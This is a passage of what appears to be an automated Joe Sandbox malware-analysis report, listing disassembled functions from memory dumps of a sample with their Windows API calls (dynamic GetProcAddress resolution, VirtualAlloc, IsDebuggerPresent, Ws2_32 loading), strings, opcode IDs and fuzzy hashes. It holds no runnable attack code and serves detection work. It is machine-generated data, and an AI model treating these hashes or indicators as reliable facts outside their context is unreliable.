Instruction Fuzzy Hash: 2372BE31908B808FD716DF28C45476ABBE2AF97344F088A5DF8DA9B352D734DD468B42

Uniqueness

Uniqueness Score: -1.00%

Function 0064B500 Relevance: 15.6, APIs: 10, Instructions: 557libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,FF8ECBAD), ref: 0064B59C
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064B690
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064B784
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064B878
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064B96C
GetProcAddress.KERNEL32(00000000,FF8ECB8D), ref: 0064B9EC
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064BAE0
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064BBD4
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064BCC8
GetProcAddress.KERNEL32(00000000,FF8ECB5D), ref: 0064BDBC

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: c74458bf4cd9cb23ff1d3e353bd2df8851acd6455cfac9a1dd154a83d997c95c
Instruction ID: 67dc8c52d32d41f3d16080d2e1e2b8a7b08e2906a76f818a8edc0fe381734fe0
Opcode Fuzzy Hash: c74458bf4cd9cb23ff1d3e353bd2df8851acd6455cfac9a1dd154a83d997c95c
Instruction Fuzzy Hash: 446223B8D0525CEBDB05CFA8D6809DCBBB5BF59314F2481AAD959BB311D7302A81DF04

Uniqueness

Uniqueness Score: -1.00%

Function 068E24B0 Relevance: 13.5, APIs: 4, Strings: 3, Instructions: 1252libraryloaderCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 068E34DB
__aulldiv.LIBCMT ref: 068E3765
GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,00000000,00008847,00000000), ref: 068E3A71
GetProcAddress.KERNEL32(?,?), ref: 068E3A8B

Strings

J9q=, xrefs: 068E39A8
Ws2_32.dll, xrefs: 068E3A6C
J9q=, xrefs: 068E3A02

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: __aulldiv$AddressHandleModuleProc
String ID: J9q=$J9q=$Ws2_32.dll
API String ID: 3748425447-1626539570
Opcode ID: f22397b425548e1a0278728b15113bad7c7cbc8cd8c31386290854b7dbb1b53a
Instruction ID: 1d8e7c41f3a1cebe376f465f874428659958c0bb06dbe682b373673767790c9f
Opcode Fuzzy Hash: f22397b425548e1a0278728b15113bad7c7cbc8cd8c31386290854b7dbb1b53a
Instruction Fuzzy Hash: 5FE2CBB4E052688FDB69CF58C894BEEBBB5AF89304F1081DAD958A7351D7309E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 068DE3B5 Relevance: 12.6, APIs: 8, Instructions: 557memoryCOMMON

Download Yara Rule

APIs

GetHGlobalFromStream.OLE32(00000000,00000000), ref: 068DE3CF
GlobalSize.KERNEL32(00000000), ref: 068DE3E1
GlobalLock.KERNEL32 ref: 068DE3FE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 068DE462
GdipDisposeImage.GDIPLUS(?), ref: 068DED7B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 068DEDB0
HeapAlloc.KERNEL32(00000000), ref: 068DEDB7
GetProcessHeap.KERNEL32 ref: 068DEE20
HeapSize.KERNEL32(?,00000000,?), ref: 068DEE3C
GetProcessHeap.KERNEL32 ref: 068DEE83
HeapReAlloc.KERNEL32(?,00000000,?,00000000), ref: 068DEEA3
DeleteObject.GDI32(?), ref: 068DEF68
DeleteDC.GDI32 ref: 068DEF72
DeleteObject.GDI32(?), ref: 068DEF7F
DeleteDC.GDI32 ref: 068DEF89

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Heap$Delete$AllocGlobalProcess$ObjectSize$DisposeFromGdipImageLockStreamVirtual
String ID:
API String ID: 173030161-0
Opcode ID: 1b016b8ac9134994b85fb35e90714503543ac5a5e3d6e4c77bfd491a99ad4113
Instruction ID: 98c81f5e71eeae460f65cea3ebdab8f5245092b43c67c569b2369c118355ce11
Opcode Fuzzy Hash: 1b016b8ac9134994b85fb35e90714503543ac5a5e3d6e4c77bfd491a99ad4113
Instruction Fuzzy Hash: C1628C74E052698FCB68CF58C998BEDBBB6BB89304F1081D9D549A7351DB30AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 005B47AD Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005B49C4

Strings

1#QNAN, xrefs: 005B48C0
1#SNAN, xrefs: 005B48B9
1#INF, xrefs: 005B48E3
1#IND, xrefs: 005B48B2

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1c186cadfadf3b51cbadf9db246be8b400ce7cde38c74949778227609b61d3bb
Instruction ID: 8e36848a58394143d1685176cd00cd2730075e6b06b80b9d740e04c6e5fe5206
Opcode Fuzzy Hash: 1c186cadfadf3b51cbadf9db246be8b400ce7cde38c74949778227609b61d3bb
Instruction Fuzzy Hash: D0D23971E086298FDB69CE28CC447EABBB5FB44315F1445EAD40DE7241EB78AE818F41

Uniqueness

Uniqueness Score: -1.00%

Function 068DC480 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CreateLevelSafer
String ID:
API String ID: 3489925794-0
Opcode ID: 536606f9bf901d7d2b4c706cc07e2583ecae6b451ebbef6b9a85cc32cec611cb
Instruction ID: cc9938bc002d159ea75b5ae74c4c57c6a26eb49dcbfb60c22882ab8fd63749a8
Opcode Fuzzy Hash: 536606f9bf901d7d2b4c706cc07e2583ecae6b451ebbef6b9a85cc32cec611cb
Instruction Fuzzy Hash: E3A10474D04248DFDB54CFA9C890BEEBBB5BF48304F108199E669AB380D7749A45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 069302FD Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 069247E3: GetLastError.KERNEL32(00000000,0691FE22,0692A074), ref: 069247E7
Part of subcall function 069247E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06924889

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 06930405
IsValidCodePage.KERNEL32(00000000), ref: 06930443
IsValidLocale.KERNEL32(?,00000001), ref: 06930456
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0693049E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 069304B9

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 62b80669b836254e92657c0de0e1d9a024d1643a57e6d63dc0d8bfc0921bcb2e
Instruction ID: a1fa964f31c3c6f103dda41889d6df189ee629975ba834299546b8f5a971a1c8
Opcode Fuzzy Hash: 62b80669b836254e92657c0de0e1d9a024d1643a57e6d63dc0d8bfc0921bcb2e
Instruction Fuzzy Hash: 9F517E71E0022AAFDB90EFA5DC44EAE77BCAF54700F144569E910EB990E7B09A04CB60

Uniqueness

Uniqueness Score: -1.00%

Function 068F4370 Relevance: 5.8, APIs: 3, Instructions: 1294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a56308935cda7040d51e75c1cd4a275e5bce98423f1fc4f492a6ed85f3eff9
Instruction ID: fede83c3e45678b7560f2f90af3e937ecee207ebff577323e38c9e418b0df4a2
Opcode Fuzzy Hash: e4a56308935cda7040d51e75c1cd4a275e5bce98423f1fc4f492a6ed85f3eff9
Instruction Fuzzy Hash: 68E2DEB4E052688FDBA5CF58C890BEEBBB1AF89304F1081DAD559A7341DB309E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06936276 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C), ref: 06936287
GetSystemInfo.API-MS-WIN-CORE-SYSINFO-L1-1-0(?), ref: 069362A2

Strings

D, xrefs: 06936296

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: cd624a6ed1d40f85e98dfd02d375bf14b2a6802302a064a0fa4ea2be5c7fbe56
Instruction ID: a1ae8b8f7e0e71f5bdced9c1e74bb0caffa558566a233047d349e7eff3124366
Opcode Fuzzy Hash: cd624a6ed1d40f85e98dfd02d375bf14b2a6802302a064a0fa4ea2be5c7fbe56
Instruction Fuzzy Hash: 0F01F772A001296BDF14DE69CC05BDE7BEEAFC4264F1DC120AD59D7140EA34E912C680

Uniqueness

Uniqueness Score: -1.00%

Function 0690E580 Relevance: 4.7, APIs: 3, Instructions: 200threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0690E679
IsDebuggerPresent.KERNEL32 ref: 0690E758
OutputDebugStringW.KERNEL32(?), ref: 0690E7BB

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: ebdf6932446ac556323207680e3f48271abe17ae5f97466a811baa0ce17d8bb0
Instruction ID: 7a57034227fd9f87532c2d2b63cde9dc72a878f76f41156dfe4fa7e536c8f7a1
Opcode Fuzzy Hash: ebdf6932446ac556323207680e3f48271abe17ae5f97466a811baa0ce17d8bb0
Instruction Fuzzy Hash: 6371AA74A04749DFEBA0DF69D840B6A7BE9BF48700F20892DE95AD3AC1E774E440CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0059360D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 00593645

Strings

`-V, xrefs: 0059363F

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Time$FilePreciseSystem
String ID: `-V
API String ID: 1802150274-364166172
Opcode ID: 53df9537dd0c70ed81f49ccfa752aa5aee308f88522ad5c27dd4099ddb56fb4e
Instruction ID: 729defcbf978dff236790742a94fb18e8738eab55bbf3fab381535c961909a02
Opcode Fuzzy Hash: 53df9537dd0c70ed81f49ccfa752aa5aee308f88522ad5c27dd4099ddb56fb4e
Instruction Fuzzy Hash: 85F0E532944AA4FFCB019F58DC40B5DBBEAFB09F10F00522AE812D7380CB74AA008F80

Uniqueness

Uniqueness Score: -1.00%

Function 006A40A0 Relevance: 3.5, APIs: 2, Instructions: 465COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A4443
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A44A1

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 8808598bad8e3e83a2009c9c7ff951dbd47ed07ec25d31caffa0d8638f7b5bc4
Instruction ID: 31e36eadc2119818a849aabdeb2b392857aca059036b86a42d42a916aa03cf50
Opcode Fuzzy Hash: 8808598bad8e3e83a2009c9c7ff951dbd47ed07ec25d31caffa0d8638f7b5bc4
Instruction Fuzzy Hash: 5602D171E006198BCF18DE6DCC906FDFBB2BBD6310F1942AAE859AB381DB754D418B50

Uniqueness

Uniqueness Score: -1.00%

Function 005B8E20 Relevance: 3.0, Strings: 2, Instructions: 463COMMON

Download Yara Rule

Strings

+, xrefs: 005B9353
/, xrefs: 005B9358

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: +$/
API String ID: 0-2439032044
Opcode ID: 4bd34c4907fcf00113ae3a714db9feea11f34f659b40241cfee28222b28fa5f9
Instruction ID: 79d9d50a6c1c73ce5b92301b33730e00275341c3ef4a88aad13ce50c49f3e5f6
Opcode Fuzzy Hash: 4bd34c4907fcf00113ae3a714db9feea11f34f659b40241cfee28222b28fa5f9
Instruction Fuzzy Hash: A902D375D042469FCB05CF68C4946EEBFF5FF49310F244669E965AB382D730AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0069F280 Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0069F2FD

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: __allrem
String ID:
API String ID: 2933888876-0
Opcode ID: d854cc8b975ee895d9bb9159b7e6a2dc9a418326e4a01df0fa3cf4d220a2e4ca
Instruction ID: d992a998e545d63bf1b6d90affe2d6717f86dcb0666eb95f1d4e6ccf8ad54edd
Opcode Fuzzy Hash: d854cc8b975ee895d9bb9159b7e6a2dc9a418326e4a01df0fa3cf4d220a2e4ca
Instruction Fuzzy Hash: E3618D31614744CFCB1DCF6DC88066ABBF6AF95300B0886AEE886DB752C634E955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06930227 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 069247E3: GetLastError.KERNEL32(00000000,0691FE22,0692A074), ref: 069247E7
Part of subcall function 069247E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06924889

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0692FFC1,00000000,00000000,?), ref: 06930253

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: acd83942f51972cfaae39cfb3ea4750601f9305eaa3d38ba3afbd329cd8a6583
Instruction ID: 2ab04ba0eaa731ea24906ec44e25768f0f3da95b7f7a79456f1c22e07363c435
Opcode Fuzzy Hash: acd83942f51972cfaae39cfb3ea4750601f9305eaa3d38ba3afbd329cd8a6583
Instruction Fuzzy Hash: FD012636A10132AFDB689A258D097BE376DDB40354F150828DC42A3980EAB0EE52C790

Uniqueness

Uniqueness Score: -1.00%

Function 0084C590 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

J, xrefs: 0084C5AB

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: 387f0e173a4cfd80299d61a9049e47f253f588682c07c7f9b5db337ae18a3186
Instruction ID: d48233b7ab9b23234cf51b7f28ae6f0e5cb419aa8ec7540f4a9fbdeb5f65ef64
Opcode Fuzzy Hash: 387f0e173a4cfd80299d61a9049e47f253f588682c07c7f9b5db337ae18a3186
Instruction Fuzzy Hash: 87F0B470504385EF8B01DE22D9C995B77F3FF90709F01C82CF59553606D33598098A16

Uniqueness

Uniqueness Score: -1.00%

Function 0064BFC0 Relevance: .8, Instructions: 763COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e66eafb21ff0ac23a1e243a383367402beece03311f5ec548545498dddb0c253
Instruction ID: d86dc6dc26b2f1e85445d28083ea8afd09950838dbd1691e5288ddc2e78564a0
Opcode Fuzzy Hash: e66eafb21ff0ac23a1e243a383367402beece03311f5ec548545498dddb0c253
Instruction Fuzzy Hash: 293273B3F5161447DF1CCA6ECC922EDB2E36FD821871E813DE80AE3345EA79E9454684

Uniqueness

Uniqueness Score: -1.00%

Function 006A4AE0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4114b59100c8c6545acb20fe72144054f37421e73a80a60c865bf827f888da17
Instruction ID: 7fedf90cdecb97c89a47eace8b5a0365c33622d9b72a29ef86b290db5e03c300
Opcode Fuzzy Hash: 4114b59100c8c6545acb20fe72144054f37421e73a80a60c865bf827f888da17
Instruction Fuzzy Hash: C9F172329092928EDB159F38C8813EDBF63AFE7310F1846A5C49597382DBB4DD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0058F570 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1d20dbb7a1344f95270d83f575d9ad0c01ea893d1cbca1c94c871dfb00056b
Instruction ID: 03312ed51de947aa47207ce9e34fc53fa23dd713e3dbe653e9a6e3cb18d4f741
Opcode Fuzzy Hash: 6d1d20dbb7a1344f95270d83f575d9ad0c01ea893d1cbca1c94c871dfb00056b
Instruction Fuzzy Hash: 3CE10376E1122A9FDB05CFA8D8816ADFBF1FF88314F1942A9D815B7340D670AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 005A035F Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
